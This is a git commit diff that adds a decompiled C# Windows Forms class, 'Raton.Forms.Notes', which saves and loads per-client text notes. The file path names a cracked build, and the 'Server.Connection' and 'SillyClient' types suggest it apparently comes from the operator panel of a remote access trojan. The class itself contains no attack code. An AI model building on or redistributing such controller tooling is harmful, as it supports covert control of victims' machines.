initial commit
This commit is contained in:
@@ -0,0 +1,106 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.Notes
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Server.Connection;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms;
|
||||
|
||||
public class Notes : Form
|
||||
{
|
||||
private IContainer components;
|
||||
private TextBox textBox1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public string clientID { get; set; }
|
||||
|
||||
public Notes()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
private void Notes_Load(object sender, EventArgs e) => this.LoadNotes();
|
||||
|
||||
private void SaveNotes(string newNotes)
|
||||
{
|
||||
string str1 = nameof (Notes);
|
||||
string path = Path.Combine(str1, this.clientID + "_notes.txt");
|
||||
if (!Directory.Exists(str1))
|
||||
Directory.CreateDirectory(str1);
|
||||
string str2 = string.Empty;
|
||||
if (File.Exists(path))
|
||||
{
|
||||
str2 = File.ReadAllText(path);
|
||||
string contents = newNotes;
|
||||
File.WriteAllText(path, contents);
|
||||
}
|
||||
else
|
||||
{
|
||||
string contents = newNotes;
|
||||
File.WriteAllText(path, contents);
|
||||
}
|
||||
}
|
||||
|
||||
private void LoadNotes()
|
||||
{
|
||||
string path = Path.Combine(nameof (Notes), this.clientID + "_notes.txt");
|
||||
if (File.Exists(path))
|
||||
this.textBox1.Text = File.ReadAllText(path);
|
||||
else
|
||||
this.textBox1.Text = string.Empty;
|
||||
}
|
||||
|
||||
private void Notes_FormClosing(object sender, FormClosingEventArgs e)
|
||||
{
|
||||
this.SaveNotes(this.textBox1.Text);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Notes));
|
||||
this.textBox1 = new TextBox();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.textBox1.Dock = DockStyle.Fill;
|
||||
this.textBox1.Location = new Point(0, 0);
|
||||
this.textBox1.Multiline = true;
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.ScrollBars = ScrollBars.Vertical;
|
||||
this.textBox1.Size = new Size(458, 409);
|
||||
this.textBox1.TabIndex = 0;
|
||||
this.AutoScaleDimensions = new SizeF(7f, 15f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(458, 409);
|
||||
this.Controls.Add((Control) this.textBox1);
|
||||
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.MinimizeBox = false;
|
||||
this.Name = nameof (Notes);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (Notes);
|
||||
this.FormClosing += new FormClosingEventHandler(this.Notes_FormClosing);
|
||||
this.Load += new EventHandler(this.Notes_Load);
|
||||
this.ResumeLayout(false);
|
||||
this.PerformLayout();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user